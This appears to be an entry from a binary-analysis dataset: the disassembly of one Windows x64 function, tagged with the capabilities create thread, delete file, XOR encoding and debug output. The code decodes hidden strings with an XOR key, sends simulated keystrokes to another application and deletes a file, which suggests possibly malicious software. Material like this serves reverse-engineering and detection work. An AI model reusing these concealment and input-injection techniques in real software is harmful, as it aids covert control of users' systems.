Function at 0x140003ec0
Capabilities:
Create thread
Delete file
Encode data using xor
Print debug messages

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xd0
mov rax, qword [0x140019010]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov r12, r8
mov r13, rdx
mov r15, rcx
xor edi, edi
mov qword [rsp + 0x78], rdi
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [rdx + 0x10]
movsd qword [rsp + 0x40], xmm1
mov rax, qword [rcx]
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
test eax, eax
jne 0x140004728
mov qword [rsp + 0x70], rdi
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [r13 + 0x10]
movsd qword [rsp + 0x40], xmm1
mov rax, qword [r15]
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
mov rcx, r15
call qword [rax + 0x58]
test eax, eax
jne 0x14000471c
mov rbx, qword [rsp + 0x70]
movsxd r10, dword [0x14001a390]
lea r14, [0x14001a3a0]
mov rdx, qword [r14 + r10*8]
inc r10d
lea rcx, str.__f_g___:_w9
mov r8, rdx
lea r9d, [rdi + 0x11]
nop
movzx eax, byte [rcx]
xor al, 0x48
movzx eax, al
mov word [r8], ax
lea rcx, [rcx + 1]
lea r8, [r8 + 2]
sub r9, 1
jne 0x140003f80
mov word [rdx + 0x22], di
cmp r10d, 0xf
cmovge r10d, edi
mov dword [0x14001a390], r10d
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x14000407b
movsxd r10, dword [0x14001a390]
mov rdx, qword [r14 + r10*8]
inc r10d
lea rcx, str.f__
mov r8, rdx
lea r9d, [rax + 6]
nop dword [rax + rax]
movzx eax, byte [rcx]
xor al, 0x48
movzx eax, al
mov word [r8], ax
lea rcx, [rcx + 1]
lea r8, [r8 + 2]
sub r9, 1
jne 0x140003fe0
mov word [rdx + 0xc], di
cmp r10d, 0xf
cmovge r10d, edi
mov dword [0x14001a390], r10d
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x14000407b
movsxd r10, dword [0x14001a390]
mov rdx, qword [r14 + r10*8]
inc r10d
lea rcx, str.___:____f_
mov r8, rdx
lea r9d, [rax + 0xd]
nop word [rax + rax]
movzx eax, byte [rcx]
xor al, 0x48
movzx eax, al
mov word [r8], ax
lea rcx, [rcx + 1]
lea r8, [r8 + 2]
sub r9, 1
jne 0x140004040
mov word [rdx + 0x1a], di
cmp r10d, 0xf
cmovge r10d, edi
mov dword [0x14001a390], r10d
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x140004099
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov r9, qword [r12]
lea r8, [0x140003c30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea r8, [0x1400194f0]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
cmovae r8, qword [0x1400194f0]
mov r9, qword [rsp + 0x78]
mov rax, r9
sub r8, r9
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400040d4
add rax, 2
test ecx, ecx
jne 0x1400040c0
test edx, edx
je 0x14000423e
lea rdx, [0x140019530]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
cmovae rdx, qword [0x140019530]
mov rcx, r9
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x14000423e
lea rsi, [rax - 1]
mov r14d, 3
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0xa0]
call fcn.1400020c0
nop
cmp qword [rsp + 0xb0], 0
je 0x1400046c5
cmp dword [0x14001a370], 0
je 0x1400044d4
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
lea r8d, [r9 + 1]
mov dl, 0x1d
mov cl, 0x11
call qword [0x14001a338]
xor r9d, r9d
lea r8d, [r9 + 1]
mov dl, 0x2f
mov cl, 0x54
call qword [0x14001a338]
xor r9d, r9d
mov r8d, r14d
mov dl, 0x2f
mov cl, 0x54
call qword [0x14001a338]
xor r9d, r9d
mov r8d, r14d
mov dl, 0x1d
mov cl, 0x11
call qword [0x14001a338]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400194b0]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
cmovae rcx, qword [0x1400194b0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x50], xmm0
movsd xmm1, qword [r13 + 0x10]
movsd qword [rsp + 0x60], xmm1
mov r9, qword [r15]
mov r8, rax
lea rdx, [rsp + 0x50]
mov rcx, r15
call qword [r9 + 0xd8]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
xor r9d, r9d
mov edx, 0x100
lea r8d, [r9 + 0xd]
mov rcx, qword [r12]
call qword [0x14001a350]
xor r9d, r9d
mov edx, 0x101
lea r8d, [r9 + 0xd]
mov rcx, qword [r12]
call qword [0x14001a350]
lea rcx, [0x1400194d0]
cmp qword [0x1400194e8], 0x10
cmovae rcx, qword [0x1400194d0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [0x14001a370], edi
jmp 0x1400046c5
mov rcx, qword [rsp + 0x70]
mov rsi, 0xffffffffffffffff
mov rax, rsi
nop dword [rax]
inc rax
cmp word [rcx + rax*2], di
jne 0x140004250
test rax, rax
jne 0x140004109
movsxd r9, dword [0x14001a390]
mov r10, qword [r14 + r9*8]
inc r9d
mov rcx, r10
lea r8, str.bbbbbbbbbbbbbbbbbbbbbbbbbbb
sub r8, r10
lea edx, [rax + 0x1b]
movzx eax, byte [r8 + rcx]
xor al, 0x48
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140004280
mov byte [r10 + 0x1b], dil
cmp r9d, 0xf
cmovge r9d, edi
mov dword [0x14001a390], r9d
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ecx, dword [0x14001a31c]
inc ecx
mov dword [0x14001a31c], ecx
mov r8d, dword [0x14001a318]
test r8d, r8d
jne 0x140004309
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
add r8d, 2
mov dword [0x14001a318], r8d
mov ecx, dword [0x14001a31c]
lea eax, [r8 + r8*4]
cmp ecx, eax
jle 0x140004109
movsxd r10, dword [0x14001a390]
mov r9, qword [r14 + r10*8]
inc r10d
lea rcx, str.___8_rgg___:____f_g_:z
mov rdx, r9
mov r8d, 0x1a
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx]
xor al, 0x48
movzx eax, al
mov word [rdx], ax
lea rcx, [rcx + 1]
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140004340
mov word [r9 + 0x34], di
cmp r10d, 0xf
cmovge r10d, edi
mov dword [0x14001a390], r10d
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], 7
mov word [rsp + 0x80], di
mov r8, rsi
inc r8
cmp word [r9 + r8*2], di
jne 0x140004394
mov rdx, r9
lea rcx, [rsp + 0x80]
call fcn.140006b80
nop
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 8
cmovae rcx, qword [rsp + 0x80]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [r13 + 0x10]
movsd qword [rsp + 0x40], xmm1
mov r9, qword [r15]
mov r8, rax
lea rdx, [rsp + 0x30]
mov rcx, r15
call qword [r9 + 0xd8]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov r14d, 3
mov word [rsp + 0x30], r14w
mov dword [rsp + 0x38], edi
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm0
movsd xmm1, qword [rsp + 0x40]
movsd qword [rsp + 0x60], xmm1
mov rax, qword [r15]
lea r8, [rsp + 0x50]
lea edx, [r14 - 2]
mov rcx, r15
call qword [rax + 0xa8]
xor r9d, r9d
mov edx, 0x100
lea r8d, [r14 + 0xa]
mov rcx, qword [r12]
call qword [0x14001a350]
xor r9d, r9d
mov edx, 0x101
lea r8d, [r14 + 0xa]
mov rcx, qword [r12]
call qword [0x14001a350]
mov byte [0x14001a320], 1
mov dword [0x14001a318], edi
mov dword [0x14001a31c], edi
mov rdx, qword [rsp + 0x98]
cmp rdx, 8
jb 0x14000410f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400044ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010538
jmp 0x14000410f
lea rdx, [0x140019490]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
cmovae rdx, qword [0x140019490]
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], 7
mov word [rsp + 0x80], di
mov r8, rsi
inc r8
cmp word [rdx + r8*2], 0
jne 0x140004512
lea rcx, [rsp + 0x80]
call fcn.140006b80
nop
lea r9, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 8
cmovae r9, qword [rsp + 0xa0]
inc rsi
cmp word [r9 + rsi*2], 0
jne 0x140004545
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x1400045a6
lea rdi, [rcx + rsi]
mov qword [rsp + 0x90], rdi
lea rbx, [rsp + 0x80]
cmp rdx, 8
cmovae rbx, qword [rsp + 0x80]
lea rcx, [rbx + rcx*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
xor eax, eax
mov word [rbx + rdi*2], ax
xor edi, edi
jmp 0x1400045bb
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rsp + 0x80]
call fcn.140007a70
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 8
cmovae rcx, qword [rsp + 0x80]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x50], xmm0
movsd xmm1, qword [r13 + 0x10]
movsd qword [rsp + 0x60], xmm1
mov r9, qword [r15]
mov r8, rax
lea rdx, [rsp + 0x50]
mov rcx, r15
call qword [r9 + 0xd8]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov word [rsp + 0x30], r14w
mov dword [rsp + 0x38], edi
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm0
movsd xmm1, qword [rsp + 0x40]
movsd qword [rsp + 0x60], xmm1
mov rax, qword [r15]
lea r8, [rsp + 0x50]
mov edx, 1
mov rcx, r15
call qword [rax + 0xa8]
xor r9d, r9d
mov edx, 0x100
lea r8d, [r9 + 0xd]
mov rcx, qword [r12]
call qword [0x14001a350]
xor r9d, r9d
mov edx, 0x101
lea r8d, [r9 + 0xd]
mov rcx, qword [r12]
call qword [0x14001a350]
mov dword [0x14001a374], edi
mov rdx, qword [rsp + 0x98]
cmp rdx, 8
jb 0x1400046c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400046c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010538
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 8
jb 0x14000471c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004717
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004717
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010538
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400101d0
add rsp, 0xd0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret